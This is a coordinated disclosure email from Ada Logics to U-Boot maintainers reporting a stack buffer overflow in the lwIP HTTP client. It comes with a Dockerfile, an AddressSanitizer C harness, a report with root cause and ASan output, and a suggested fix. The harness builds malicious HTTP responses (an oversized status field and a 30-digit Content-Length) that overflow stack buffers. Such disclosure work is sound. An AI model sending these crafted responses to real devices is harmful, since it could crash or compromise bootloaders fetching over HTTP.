Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible buffer
overflow in U-Boot lwIP HTTP client.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 \
&& rm -rf /var/lib/apt/lists/*
ARG PIN=ece349ade2973e220f524ce59e59711cc919263f
WORKDIR /src
# Fetch exactly the pinned commit and assert HEAD == PIN.
RUN git init -q u-boot && cd u-boot \
&& git remote add origin https://github.com/u-boot/u-boot.git \
&& git fetch -q --depth 1 origin ${PIN} \
&& git checkout -q FETCH_HEAD \
&& HEAD_SHA="$(git rev-parse HEAD)" \
&& echo "HEAD=${HEAD_SHA}" \
&& [ "${HEAD_SHA}" = "${PIN}" ] || { echo "PIN MISMATCH"; exit 1; } \
&& echo "${HEAD_SHA}" > /src/PIN.txt
WORKDIR /poc
COPY driver.c ./
# Generate the minimal, faithful lwIP type/macro shims the extracted real
# functions compile and run against. Only the fields and macros the extracted
# code actually touches are provided; the semantics match upstream lwIP.
RUN cat > shims.h <<'EOF'
#ifndef LWIP_SHIM_H
#define LWIP_SHIM_H
#include <string.h>
#include <stdlib.h>
typedef unsigned char u8_t;
typedef unsigned short u16_t;
typedef unsigned int u32_t;
typedef int err_t;
#define ERR_OK ((err_t)0)
#define ERR_VAL ((err_t)-6)
/* struct pbuf as used by the extracted functions: a chain node with a
* payload pointer, this-node length and total-chain length. Matches the
* layout the real code walks (next / payload / tot_len / len). */
struct pbuf {
struct pbuf *next;
void *payload;
u16_t tot_len;
u16_t len;
u8_t type_internal;
u8_t flags;
u16_t ref;
};
#define MEMCPY(dst, src, len) memcpy((dst), (src), (len))
#define LWIP_MIN(a, b) (((a) < (b)) ? (a) : (b))
/* Upstream LWIP_ERROR: if the expression is false, run the handler.
* With default (non-debug) config the message is unused. */
#define LWIP_ERROR(message, expression, handler) do { \
if (!(expression)) { handler } } while (0)
#define LWIP_DEBUGF(debug, message) do { } while (0)
#define LWIP_UNUSED_ARG(x) ((void)(x))
/* From lwipopts / httpc: sentinel for "no valid content length". */
#define HTTPC_CONTENT_LEN_INVALID 0xFFFFFFFF
#endif /* LWIP_SHIM_H */
EOF
# Extract the REAL functions verbatim from the pinned tree with an inline awk
# extractor. It matches the definition line "^NAME(" that is NOT a prototype
# (does not end in ';'), walks backward to include the return-type line(s),
# and forward to the column-0 closing brace.
ARG HTTP=/src/u-boot/lib/lwip/lwip/src/apps/http/http_client.c
ARG PBUF=/src/u-boot/lib/lwip/lwip/src/core/pbuf.c
RUN set -e; \
: > pbuf_real.inc; \
for f in pbuf_skip_const pbuf_try_get_at pbuf_get_at pbuf_memcmp
pbuf_memfind pbuf_copy_partial; do \
echo "/* --- real ${f}() from core/pbuf.c --- */" >> pbuf_real.inc; \
awk -v NAME="${f}" '{ lines[NR]=$0 } END { for(i=1;i<=NR;i++){
if(lines[i] ~ ("^" NAME "\\(") && lines[i] !~ /;[ \t]*$/){ s=i-1; while(s>=1 &&
lines[s] !~ /^$/ && lines[s] !~ /\*\/[ \t]*$/ && lines[s] !~ /^}/ && lines[s]
!~ /;[ \t]*$/) s--; s++; started=0; e=i; for(j=i;j<=NR;j++){ if(lines[j] ~ /{/)
started=1; if(started && lines[j] ~ /^}/){ e=j; break } } for(k=s;k<=e;k++)
print lines[k]; exit } } }' "$PBUF" >> pbuf_real.inc; \
echo >> pbuf_real.inc; \
done; \
: > http_real.inc; \
for f in http_parse_response_status http_wait_headers; do \
echo "/* --- real ${f}() from apps/http/http_client.c --- */" >>
http_real.inc; \
awk -v NAME="${f}" '{ lines[NR]=$0 } END { for(i=1;i<=NR;i++){
if(lines[i] ~ ("^" NAME "\\(") && lines[i] !~ /;[ \t]*$/){ s=i-1; while(s>=1 &&
lines[s] !~ /^$/ && lines[s] !~ /\*\/[ \t]*$/ && lines[s] !~ /^}/ && lines[s]
!~ /;[ \t]*$/) s--; s++; started=0; e=i; for(j=i;j<=NR;j++){ if(lines[j] ~ /{/)
started=1; if(started && lines[j] ~ /^}/){ e=j; break } } for(k=s;k<=e;k++)
print lines[k]; exit } } }' "$HTTP" >> http_real.inc; \
echo >> http_real.inc; \
done; \
echo "===== pbuf_real.inc ====="; cat pbuf_real.inc; \
echo "===== http_real.inc ====="; cat http_real.inc
RUN gcc -g -O1 -fno-omit-frame-pointer -fsanitize=address -Wall \
-o poc driver.c \
&& cp /src/PIN.txt ./PIN.txt
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
# Print the pin, then run the negative control, then the two positives.
# Each positive runs in its own process so an ASan abort does not stop the
# run script; the wrapper continues to the next case.
RUN printf '#!/bin/sh\n' > run.sh \
&& printf 'echo "##### pin #####"; cat PIN.txt; echo\n' >> run.sh \
&& printf './poc neg; echo "[exit=$?]"; echo\n' >> run.sh \
&& printf './poc status; echo "[exit=$?]"; echo\n' >> run.sh \
&& printf './poc content; echo "[exit=$?]"; echo\n' >> run.sh \
&& chmod +x run.sh
CMD ["/bin/sh", "run.sh"]
/* Focused AddressSanitizer harness driving the REAL lwIP HTTP-client
* response parser and the REAL pbuf accessors against attacker-shaped
* HTTP responses. The target functions and pbuf helpers are extracted
* verbatim at build time from the pinned U-Boot lwIP subtree and pulled
* in via the two #include'd .inc files below; nothing in them is edited.
*
* Tag: poc-lwip-http
*/
#include <stdio.h>
#include "shims.h"
/* REAL pbuf accessors, extracted verbatim from core/pbuf.c */
#include "pbuf_real.inc"
/* REAL response parser + header waiter, extracted verbatim from
* apps/http/http_client.c */
#include "http_real.inc"
/* Build a single real pbuf holding the crafted HTTP response bytes. */
static struct pbuf *make_pbuf(const char *data, u16_t n)
{
struct pbuf *p = (struct pbuf *)malloc(sizeof(*p));
p->next = NULL;
p->payload = malloc(n);
memcpy(p->payload, data, n);
p->len = n;
p->tot_len = n;
p->ref = 1;
return p;
}
static void show(const char *label, const char *resp, u16_t n)
{
printf(" [%s] %u bytes on the wire: \"", label, (unsigned)n);
for (u16_t i = 0; i < n; i++) {
unsigned char c = (unsigned char)resp[i];
if (c == '\r') printf("\\r");
else if (c == '\n') printf("\\n");
else putchar(c);
}
printf("\"\n");
}
/* Drive the real http_parse_response_status() over a crafted status line. */
static void run_status(const char *resp, u16_t n)
{
struct pbuf *p = make_pbuf(resp, n);
u16_t ver = 0, status = 0, off = 0;
printf(" calling real http_parse_response_status(); status_num[] is 10 bytes on the stack\n");
err_t e = http_parse_response_status(p, &ver, &status, &off);
printf(" returned err=%d http_status=%u (no overflow on this input)\n",
(int)e, (unsigned)status);
}
/* Drive the real http_wait_headers() over a crafted Content-Length line. */
static void run_headers(const char *resp, u16_t n)
{
struct pbuf *p = make_pbuf(resp, n);
u32_t clen = 0;
u16_t tot = 0;
printf(" calling real http_wait_headers(); content_len_num[] is 16 bytes on the stack\n");
err_t e = http_wait_headers(p, &clen, &tot);
printf(" returned err=%d content_length=%u total_header_len=%u (no overflow on this input)\n",
(int)e, (unsigned)clen, (unsigned)tot);
}
int main(int argc, char **argv)
{
const char *mode = (argc > 1) ? argv[1] : "neg";
if (!strcmp(mode, "neg")) {
/* Well-formed response: 3-digit status "200", 2-digit length "42". */
const char *resp = "HTTP/1.1 200 OK\r\nContent-Length: 42\r\n\r\n";
u16_t n = (u16_t)strlen(resp);
printf("== NEGATIVE CONTROL: well-formed HTTP response ==\n");
show("neg", resp, n);
run_status(resp, n);
run_headers(resp, n);
printf(" clean: both derived lengths (3 and 2) fit their stack buffers\n");
return 0;
}
if (!strcmp(mode, "status")) {
/* Status line with the two spaces pushed 30 non-space bytes apart, so
* the derived status_num_len (space2 - space1 - 1 == 30) far exceeds
* the 10-byte on-stack status_num[]. */
char resp[128];
int k = 0;
const char *pre = "HTTP/1.1 "; /* first space at index 8 */
memcpy(resp + k, pre, strlen(pre)); k += (int)strlen(pre);
memset(resp + k, 'A', 30); k += 30; /* 30 non-space bytes */
const char *post = " 200 OK\r\n\r\n"; /* second space -> len 30 */
memcpy(resp + k, post, strlen(post)); k += (int)strlen(post);
u16_t n = (u16_t)k;
printf("== POSITIVE CONTROL: oversized status number ==\n");
show("status", resp, n);
printf(" derived status_num_len = 30, destination status_num[10] -> overflow\n");
run_status(resp, n);
printf(" UNREACHABLE if ASan aborted at the overflowing copy\n");
return 0;
}
if (!strcmp(mode, "content")) {
/* Content-Length whose value field is 30 bytes long, so the derived
* content_len_num_len (== 30) far exceeds content_len_num[16]. */
char resp[128];
int k = 0;
const char *pre = "HTTP/1.1 200 OK\r\nContent-Length: ";
memcpy(resp + k, pre, strlen(pre)); k += (int)strlen(pre);
memset(resp + k, '9', 30); k += 30; /* 30-byte value field */
const char *post = "\r\n\r\n";
memcpy(resp + k, post, strlen(post)); k += (int)strlen(post);
u16_t n = (u16_t)k;
printf("== POSITIVE CONTROL: oversized Content-Length value ==\n");
show("content", resp, n);
printf(" derived content_len_num_len = 30, destination content_len_num[16] -> overflow\n");
run_headers(resp, n);
printf(" UNREACHABLE if ASan aborted at the overflowing copy\n");
return 0;
}
fprintf(stderr, "unknown mode: %s\n", mode);
return 2;
}
# A malicious or on-path HTTP server can overflow the U-Boot lwIP HTTP client's stack during `wget` or EFI HTTP boot
U-Boot's lwIP HTTP client parses the response status line and the `Content-Length` header by deriving a copy length purely from attacker-controlled byte offsets in the server's reply and copying that many bytes into a fixed stack buffer with no destination bound. In `http_parse_response_status()` the length is the gap between the two spaces on the status line and the destination is `char status_num[10]`; in `http_wait_headers()` the length is the width of the `Content-Length` value field and the destination is `char content_len_num[16]`. Both copies go through `pbuf_copy_partial()`, which clamps the requested length only against the source pbuf, never against the caller's buffer, so a status line whose two spaces are far apart, or a `Content-Length` line with an over-long value, overflows the on-stack buffer. The parser runs from the TCP receive callback `httpc_tcp_recv()`, reached from the `wget` command (`net/lwip/wget.c` -> `httpc_get_file_dns()`) and from EFI HTTP boot, so any HTTP server the target fetches from, or any on-path attacker on a plain-HTTP transfer, controls the overflowing bytes. The flaw was confirmed by an AddressSanitizer harness that compiles the real functions unmodified and observes a stack-buffer-overflow on both paths. It is compiled in under `CONFIG_NET_LWIP` and ships enabled in production defconfigs including `xilinx_zynqmp_kria`, `starfive_visionfive2` and `amd_versal2_virt`. The code is an upstream lwIP file carried in U-Boot's subtree, so the same defect exists in lwIP and should be reported there as well.
## Root cause
The status-line parser reads a 10-byte buffer on the stack, then derives `status_num_len` from the positions of the first and second spaces on the server's status line and hands it straight to `pbuf_copy_partial()` with no comparison against `sizeof(status_num)`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/lwip/lwip/src/apps/http/http_client.c#L216-L233
```c
char status_num[10];
size_t status_num_len;
......
/* parse http status number */
space2 = pbuf_memfind(p, " ", 1, space1 + 1);
if (space2 != 0xFFFF) {
*http_status_str_offset = space2 + 1;
status_num_len = space2 - space1 - 1;
} else {
status_num_len = end1 - space1 - 1;
}
memset(status_num, 0, sizeof(status_num));
if (pbuf_copy_partial(p, status_num, (u16_t)status_num_len, space1 + 1) == status_num_len) {
```
`space1`, `space2` and `end1` are all offsets that `pbuf_memfind()` returns from the attacker's response bytes. Nothing constrains their spacing, so `status_num_len` is attacker-chosen and routinely exceeds 10.
The header waiter has the identical shape with a 16-byte buffer: `content_len_num_len` is the distance from the end of the literal `"Content-Length: "` to the terminating CRLF, i.e. the width of the value field, copied unchecked into `content_len_num[16]`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/lwip/lwip/src/apps/http/http_client.c#L262-L265
```c
char content_len_num[16];
u16_t content_len_num_len = (u16_t)(content_len_line_end - content_len_hdr - 16);
memset(content_len_num, 0, sizeof(content_len_num));
if (pbuf_copy_partial(p, content_len_num, content_len_num_len, content_len_hdr + 16) == content_len_num_len) {
```
Both sites trust `pbuf_copy_partial()` to be safe, but its only clamp is against the source pbuf's own length: `buf_copy_len` is reduced to `len` (the requested count) or to what remains in the current pbuf, and `len` is never compared to the size of `dataptr`. The `LWIP_ERROR` checks only reject a NULL buffer, not an over-long one.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/lwip/lwip/src/core/pbuf.c#L1069-L1087
```c
for (p = buf; len != 0 && p != NULL; p = p->next) {
if ((offset != 0) && (offset >= p->len)) {
/* don't copy from this buffer -> on to the next */
offset = (u16_t)(offset - p->len);
} else {
/* copy from this buffer. maybe only partially. */
buf_copy_len = (u16_t)(p->len - offset);
if (buf_copy_len > len) {
buf_copy_len = len;
}
/* copy the necessary parts of the buffer */
MEMCPY(&((char *)dataptr)[left], &((char *)p->payload)[offset], buf_copy_len);
copied_total = (u16_t)(copied_total + buf_copy_len);
left = (u16_t)(left + buf_copy_len);
len = (u16_t)(len - buf_copy_len);
offset = 0;
}
}
```
Because the destination is a caller stack array and `len` is derived from the wire, the `MEMCPY` writes past `status_num[10]` / `content_len_num[16]`, corrupting the saved frame of `http_parse_response_status()` / `http_wait_headers()`. Both are reached from the receive callback that lwIP installs for every HTTP transfer.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/lwip/lwip/src/apps/http/http_client.c#L306-L316
```c
if (req->parse_state == HTTPC_PARSE_WAIT_FIRST_LINE) {
u16_t status_str_off;
err_t err = http_parse_response_status(req->rx_hdrs, &req->rx_http_version, &req->rx_status, &status_str_off);
......
err_t err = http_wait_headers(req->rx_hdrs, &req->hdr_content_len, &total_header_len);
```
## Proof of Concept
The reproducer extracts the real functions verbatim at build time from the pinned tree with `awk` (the response parser `http_parse_response_status()` and header waiter `http_wait_headers()` from `apps/http/http_client.c`, and the pbuf accessors `pbuf_copy_partial()`, `pbuf_memfind()`, `pbuf_memcmp()`, `pbuf_get_at()`, `pbuf_try_get_at()` and `pbuf_skip_const()` from `core/pbuf.c`) and compiles them unedited against minimal lwIP type shims, under `-fsanitize=address`. The driver builds a single real `struct pbuf` holding a crafted HTTP response, places the destination arrays on the stack exactly as the real functions do, and invokes the real parsers. The container build fetches the pinned commit and aborts unless the checked-out `HEAD` equals `ece349ade2973e220f524ce59e59711cc919263f`. The end-to-end network delivery through `wget` / EFI HTTP boot is cited from the source above, not performed; what is executed is the vulnerable parsing itself over an attacker-shaped buffer.
```
docker build -t poc-lwip-http . && docker run --rm poc-lwip-http
```
The negative control is a well-formed `HTTP/1.1 200 OK\r\nContent-Length: 42\r\n\r\n` (derived lengths 3 and 2, both fit). The first positive is a status line whose two spaces sit 30 non-space bytes apart, so `status_num_len` is 30 into `status_num[10]`. The second positive is a `Content-Length` whose value field is 30 bytes wide, so `content_len_num_len` is 30 into `content_len_num[16]`. Each case runs in its own process so an AddressSanitizer abort does not stop the run script.
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
== NEGATIVE CONTROL: well-formed HTTP response ==
[neg] 39 bytes on the wire: "HTTP/1.1 200 OK\r\nContent-Length: 42\r\n\r\n"
calling real http_parse_response_status(); status_num[] is 10 bytes on the stack
returned err=0 http_status=200 (no overflow on this input)
calling real http_wait_headers(); content_len_num[] is 16 bytes on the stack
returned err=0 content_length=42 total_header_len=39 (no overflow on this input)
clean: both derived lengths (3 and 2) fit their stack buffers
[exit=0]
=================================================================
==8==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f6cf030002a at pc 0x7f6cf27fd303 bp 0x7fffd7a487b0 sp 0x7fffd7a47f58
WRITE of size 30 at 0x7f6cf030002a thread T0
#0 0x7f6cf27fd302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x55d3b6b67a70 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x55d3b6b67a70 in pbuf_copy_partial /poc/pbuf_real.inc:116
#3 0x55d3b6b67cbf in http_parse_response_status /poc/http_real.inc:29
#4 0x55d3b6b67cbf in run_status /poc/driver.c:49
#5 0x55d3b6b68320 in main /poc/driver.c:97
......
Address 0x7f6cf030002a is located in stack of thread T0 at offset 42 in frame
#0 0x55d3b6b67b1c in run_status /poc/driver.c:45
This frame has 1 object(s):
[32, 42) 'status_num' <== Memory access at offset 42 overflows this variable
......
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==8==ABORTING
Aborted (core dumped)
[exit=134]
=================================================================
==9==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fc3ad500030 at pc 0x7fc3afaa8303 bp 0x7fff6dc85050 sp 0x7fff6dc847f8
WRITE of size 30 at 0x7fc3ad500030 thread T0
#0 0x7fc3afaa8302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x55bcc28e6a70 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x55bcc28e6a70 in pbuf_copy_partial /poc/pbuf_real.inc:116
#3 0x55bcc28e6fff in http_wait_headers /poc/http_real.inc:61
#4 0x55bcc28e6fff in run_headers /poc/driver.c:61
#5 0x55bcc28e73b3 in main /poc/driver.c:116
......
Address 0x7fc3ad500030 is located in stack of thread T0 at offset 48 in frame
#0 0x55bcc28e6e21 in run_headers /poc/driver.c:56
This frame has 1 object(s):
[32, 48) 'content_len_num' <== Memory access at offset 48 overflows this variable
......
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==9==ABORTING
Aborted (core dumped)
[exit=134]
```
The negative control returns cleanly with `http_status=200` and `content_length=42`. Both positives abort under AddressSanitizer with a `WRITE of size 30` inside the real `pbuf_copy_partial()` `MEMCPY`, called from the real `http_parse_response_status()` and `http_wait_headers()`: ASan attributes the first to the 10-byte `status_num` object `[32, 42)` and the second to the 16-byte `content_len_num` object `[32, 48)`, exactly the two stack arrays named in the source, confirming a genuine stack buffer overflow rather than a harness artefact. The only precondition is that the target performs an HTTP fetch (a `wget` of an `http://` URL or an EFI HTTP boot) from a server the attacker controls or can inject into on the path; the overflowing bytes are ordinary characters on the status line or in the `Content-Length` value and require no authentication.
## Mitigation
Clamp the derived length to the destination before copying. In `http_parse_response_status()` bound `status_num_len` to `sizeof(status_num) - 1`, and in `http_wait_headers()` bound `content_len_num_len` to `sizeof(content_len_num) - 1`, before each `pbuf_copy_partial()` call, and treat an over-long field as a malformed response (return `ERR_VAL`). A `Content-Length` value never needs more than a handful of digits and a status code never more than three, so clamping cannot reject a legitimate reply. Because the affected file is an upstream lwIP source carried unmodified in U-Boot's `lib/lwip/lwip` subtree, the fix belongs upstream in lwIP as well as in U-Boot's copy; optionally, `pbuf_copy_partial()` could gain a destination-size parameter so the source-only clamp can no longer be mistaken for a full bound.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.